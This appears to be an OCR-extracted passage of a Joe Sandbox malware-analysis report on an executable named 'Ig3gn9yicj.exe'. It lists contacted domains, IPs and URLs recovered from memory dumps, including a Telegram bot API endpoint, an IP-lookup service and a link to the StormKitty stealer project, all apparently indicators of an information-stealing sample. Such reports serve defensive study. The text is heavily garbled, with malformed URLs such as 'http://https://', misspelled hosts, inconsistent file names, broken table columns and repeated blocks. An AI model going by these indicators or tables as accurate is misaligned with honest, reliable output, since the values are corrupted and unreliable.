http://https://zxq.net/what-happened-to-the-old-zxg-website/L 0% Avira URL Cloud safe
http://https://zxq.net/wp-content/uploads/2022/07/0Online-Shopping-Tips-During-Covid-01-1024x576.jpeg 0% Avira URL Cloud safe
http://https://zxq.net/xmlirpc.php?rsd 0% Avira URL Cloud safe
http://https://zxq.net/online-shopping-tips-during-covid/ 0% Avira URL Cloud safe
http://https://zxq.net/news/ 0% Avira URL Cloud safe
http://https://zxq.net/?p=187 0% Avira URL Cloud safe
http://https://zxq.net/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fzxq.net%2Fwhat-happened-to- 0% Avira URL Cloud safe
the-old-zxg-we

http://https://zxq.net/wp-content/themes/smart-mag/style.css?ver=7.1.1 0% Avira URL Cloud safe
http://https://zxq.net/wp-content/uploads/2022/07/How-To--150x89.png 0% Avira URL Cloud safe
http://https://zxq.net/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2 0% Avira URL Cloud safe
http://https://zxq.net/wp-content/uploads/2022/07/Online-Shopping-Tips-During-Covid-01.jpeg 0% Avira URL Cloud safe
http://https://zxq.net/wp-content/uploads/2022/07/Reasons-to-Hire-a-Truck-Accident-Attorney-01- 0% Avira URL Cloud safe
150x84.jpeg

http://https://zxq.net/wp-content/uploads/2022/07/How-To--768x457.png 0% Avira URL Cloud safe
http://https://zxq.net/wp-includes/js/jquery/jquery.min.js?ver=3.6.0 0% Avira URL Cloud safe
http:// https://zxq.net/wp-content/uploads/2022/07/Why-Y ou-Should-Seek-An-Uber-Or-Lyft-Accident- 0% Avira URL Cloud safe
Lawyer-01-30

http://https://zxq.net/what-happened-to-the-old-zxg-website/n 0% Avira URL Cloud safe
http://https://zxq.net/wp-json/wp/v2/pages/187 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name IP Active Malicious Antivirus Detection Reputation
zxq.net 51.81.194.202 true true e 0%, Virustotal, Browse unknown
icanhazip.com 104.18.114.97 true false high
googlecode.l.googleusercontent.com 142.250.145.82 true false high
veemd01.zxg.net 51.81.194.202 true true e 1%, Virustotal, Browse unknown
64.89.4.0.in-addr.arpa unknown unknown  false e 0%, Virustotal, Browse unknown
veemd03.googlecode.com unknown unknown  true e 0%, Virustotal, Browse unknown
veemd01.t35.com unknown unknown  true unknown
veemd01.googlecode.com unknown unknown  true unknown
veemd02.googlecode.com unknown unknown  true unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://vcemd03.googlecode.com/files/cmsys.gif false e URL Reputation: safe unknown
http:i/https://zxq.net/cmsys.gif true e Avira URL Cloud: safe unknown
http:i/https://zxq.net/what-happened-to-the-old-zxg-website/ true e Avira URL Cloud: safe unknown
http:/ficanhazip.com/ false high

URLs from Memory and Binaries

Name Source Malicious  Antivirus Detection Reputation
http://https://zxq.net/wp-content/uploads/2022/02/ZXQ-  what-happened-to-the-old-zxg-website[1].htm.5.dr false e Avira URL Cloud: safe unknown
FB.png

http://https://zxq.net/privacy-policy/ what-happened-to-the-old-zxg-website[1].htm.5.dr false e Avira URL Cloud: safe unknown
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https://www.virustotal.com/gui/url/fa6a9dd6687fc47599cdbeed890bc131b9bf19d468d77ef5189b4045c9d16238/detection/u-fa6a9dd6687fc47599cdbeed890bc131b9bf19d468d77ef5189b4045c9d16238-1654873805
https://www.virustotal.com/gui/url/88eefe5f036b2b9e43d9ad329e2c01eab827252ffd6d1f7c0b065647871b1e2f/detection/u-88eefe5f036b2b9e43d9ad329e2c01eab827252ffd6d1f7c0b065647871b1e2f-1659260699
https://www.virustotal.com/gui/url/bb24990b4f370fea4ae21c5d0d29830eb159f24e72055de4e2c70fe7ebdca971/detection/u-bb24990b4f370fea4ae21c5d0d29830eb159f24e72055de4e2c70fe7ebdca971-1586638740
https://www.virustotal.com/gui/url/557e7ff6591fb8aa97add1ee2b2d9596635cb54e677d19ff0a6670c52ab73fe8/detection/u-557e7ff6591fb8aa97add1ee2b2d9596635cb54e677d19ff0a6670c52ab73fe8-1638925719

Name

http://https://api.telegram.org/bot

http://https://dev.ditu.live.com/REST/v1/Routes/

http://https://t0.tiles.ditu.live.com/tiles/gen

http://https://zxq.net/what-happened-to-the-old-zxg-
website/#breadcrumb

http://
https://dev.virtualearth.net/REST/v1/Routes/Walking

http://https://zxq.net/these-are-the-injured-you-may-
suffer-in-a-bicycle-accident/
http://https://zxq.net/wp-
content/uploads/2022/07/What-is-the-Best-Way-to-
Learn-Golang-450x280.png

hitp://
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/

Copyright Joe Security LLC 2022

Source Malicious  Antivirus Detection

Ig3gn9yicj.exe , Ig3gn9ylcj.exe , 00000001.0000000 false
2.528409980.0000000000401000.00000020.00
000001.01000000.00000006.sdmp, Ig3gn9ylicj.exe ,
00000001.00000000.260922909.00000000004010
00.00000020.00000001.01000000.00000006.sdmp,
Ig3gn9ylcj.exe , 00000001.00000002.535235845.
0000000002B42000.00000040.00001000.00020
000.00000000.sdmp, Ig3gn9yicj.exe , 0000
0001.00000003.266417604.00000000006D3000
.00000004.00000020.00020000.00000000.sdmp,
AppLaunch.exe, 00000002.00000000.2659
95360.0000000005322000.00000040.00000400
.00020000.00000000.sdmp, Lg3gn9y1Cj.exe,
Ig3gn9yicj.exe .0.dr

svchost.exe, 00000020.00000002.340148688 false
.000001401B83C000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 00000020.00000002.340646208 false

.000001401B84D000.00000004.00000020.0002
0000.00000000.sdmp, svchost.exe, 0000002
0.00000003.337643299.000001401B840000.00
000004.00000020.00020000.00000000.sdmp,
svchost.exe, 00000020.00000003.337917326
.000001401B846000.00000004.00000020.0002

0000.00000000.sdmp

what-happened-to-the-old-zxg-website[1].htm.5.dr false e Avira URL Cloud: safe
svchost.exe, 00000020.00000003.337412785 false
.000001401B861000.00000004.00000020.0002

0000.00000000.sdmp

what-happened-to-the-old-zxg-website[1].htm.5.dr false e Avira URL Cloud: safe
explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe

6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

svchost.exe, 00000020.00000003.337483539 false
.000001401B85A000.00000004.00000020.0002
0000.00000000.sdmp

Reputation

high

high

high

unknown

high

unknown

unknown

high
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Name

http://https://zxq.net/wp-
content/uploads/2022/07/What-is-the-Best-Way-to-
Learn-Golang-1024x637.png

http://
https://dev.virtualearth.net/REST/v1/Transit/Schedules/

http://https://zxq.net/wp-
content/uploads/2022/02/ZXQ.png

http://https://github.com/LimerBoy/StormKitty

http://https://zxq.net/about-us/

http://https://zxq.net/the-future-of-cryptocurrency-is-it-
time-to-get-your-crypto-license-in-europe/

http://https://zxq.net/#logo

Copyright Joe Security LLC 2022

Source

explorer.exe, 00000005.00000003.44442802 false
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

svchost.exe, 00000020.00000003.337643299 false
.000001401B840000.00000004.00000020.0002
0000.00000000.sdmp, svchost.exe, 0000002
0.00000002.340255237.000001401B842000.00
000004.00000020.00020000.00000000.sdmp,

svchost.exe, 00000020.00000003.338015519
.000001401B841000.00000004.00000020.0002
0000.00000000.sdmp

what-happened-to-the-old-zxg-website[1].htm.5.dr false
AppLaunch.exe, 00000002.00000002.2770329 false
70.0000000007221000.00000004.00000800.00
020000.00000000.sdmp
what-happened-to-the-old-zxg-website[1].htm.5.dr false
what-happened-to-the-old-zxg-website[1].htm.5.dr false
what-happened-to-the-old-zxg-website[1].htm.5.dr false

Malicious

.

.

o

.

.

Antivirus Detection

Avira URL Cloud: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

Reputation

unknown

high

unknown

high

unknown

unknown

unknown
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Name

http://https://zxq.net/wp-content/uploads/2022/07/Why-
You-Should-Seek-An-Uber-Or-Lyft-Accident-Lawyer-
01-76

http://icanhazip.com

http://https://zxq.net/news/technology/

http://https://zxq.net/wp-content/themes/smart-
magl/js/jquery.sticky-sidebar.js?ver=7.1.1

hitp://
schemas.xmlsoap.org/ws/2005/05/identity/claims/nam
e

Copyright Joe Security LLC 2022

Source Malicious  Antivirus Detection

explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

AppLaunch.exe, 00000002.00000002.2776282 false
69.00000000072E5000.00000004.00000800.00
020000.00000000.sdmp, AppLaunch.exe, 000
00002.00000002.277032970.000000000722100
0.00000004.00000800.00020000.00000000.sdmp,
AppLaunch.exe, 00000002.00000002.277673083.000
00000072F3000.00000004.00000800.00020000

.00000000.sdmp
what-happened-to-the-old-zxq-website[1].htm.5.dr false e Avira URL Cloud: safe
explorer.exe, 00000005.00000003.37609458 false e Avira URL Cloud: safe

0.0000000003B41000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.476931676.0000000003B3B00O0.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.375713725.000000
0003B26000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.410951978.0000000003B36000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.367687421.0000000003B260
00.00000004.00000800.00020000.00000000.sdmp,
cmsys.cmn.5.dr, what-happened-to-the-old-zxg-
website[1].htm.5.dr

AppLaunch.exe, 00000002.00000002.2776282 false
69.00000000072E5000.00000004.00000800.00
020000.00000000.sdmp

Reputation

unknown

high

unknown

unknown

high
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Name

http://https://zxq.net/wp-json/

http://www.bingmapsportal.com

http://https://zxq.net/wp-
content/uploads/2022/07/Reasons-to-Hire-a-Truck-
Accident-Attorney-01-768x432.jpeg

Copyright Joe Security LLC 2022

Source Malicious  Antivirus Detection

explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.376094580.0000000003B41000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.476931676
.0000000003B3B000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.375713725.0000000003B26000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.4109519
78.0000000003B36000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.367687421.0000000003B26000
.00000004.00000800.00020000.00000000.sdmp,
cmsys.cmn.5.dr, what-happened-to-the-old-zxq-we
bsite[1].htm.5.dr

svchost.exe, 00000020.00000002.339302995 false
.000001401B813000.00000004.00000020.0002

0000.00000000.sdmp

explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe

6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

Reputation

unknown

high

unknown
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Name

http://https://zxq.net/wp-content/uploads/2022/07/Best-
Mothers-Day-Gifts-of-2022-for-Every-Mom-01-
450x253.j

http://
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv
?pv=1&r=

http://https://zxq.net/wp-
content/uploads/2022/07/Reasons-to-Hire-a-Truck-
Accident-Attorney-01-450x253.jpeg

http://https://zxq.net/wp-
content/uploads/2022/07/What-is-the-Best-Way-to-
Learn-Golang-300x187.png

Copyright Joe Security LLC 2022

Source Malicious  Antivirus Detection

explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

svchost.exe, 00000020.00000003.337977205 false
.000001401B856000.00000004.00000020.0002

0000.00000000.sdmp

explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe

6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

what-happened-to-the-old-zxg-website[1].htm.5.dr false e Avira URL Cloud: safe

Reputation

unknown

high

unknown

unknown
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Name

http://https://zxq.net/wp-
content/uploads/2022/07/What-is-the-Best-Way-to-
Learn-Golang-768x478.png

http://https://dev.virtualearth.net/REST/v1/Routes/

http://https://zxq.net/wp-content/uploads/2022/07/How-
To-.png

Copyright Joe Security LLC 2022

Source Malicious  Antivirus Detection

explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

svchost.exe, 00000020.00000002.340148688 false
.000001401B83C000.00000004.00000020.0002

0000.00000000.sdmp

explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe

6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

Reputation

unknown

high

unknown
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Name

http://https://zxq.net/wp-content/plugins/table-of-
contents-plus/front.min.js?ver=2106

http:ifcrl.ver)

http://https://zxq.net/wp-content/uploads/2022/07/How-
To--1024x609.png

http://https://zxq.net/why-you-should-seek-an-uber-or-
lyft-accident-lawyer/

Copyright Joe Security LLC 2022

Source Malicious  Antivirus Detection

explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

svchost.exe, 00000027.00000002.537391592 false e Avira URL Cloud: safe
.000001E1CF612000.00000004.00000020.0002

0000.00000000.sdmp

explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe

6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

what-happened-to-the-old-zxg-website[1].htm.5.dr false e Avira URL Cloud: safe
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unknown
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http://https://schema.org

http://
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?
pv=1&r=

http://https://zxq.net/wp-content/uploads/2022/07/Why-
You-Should-Seek-An-Uber-Or-Lyft-Accident-Lawyer-
01-45

http:ifhttps://zxq.net/reasons-to-hire-a-truck-accident-
attorney/

http:ifhttps://zxq.net/wp-
content/uploads/2022/07/Reasons-to-Hire-a-Truck-
Accident-Attorney-01-300x169.jpeg

http://https://%s.xboxlive.com

http://https://dev.virtualearth.net/REST/v1/Locations

http:ff
https://ecn.dev.virtualearth.net/mapcontrol/mapconfigur
ation.ashx?name=native&v=
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explorer.exe, 00000005.00000003.44442802 false
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.414485795.0000000003B51000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.376094580.0000000003B410
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.476931676.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000002.537973119.0000000003B35000.00000
004.00000800.00020000.00000000.sdmp, exp
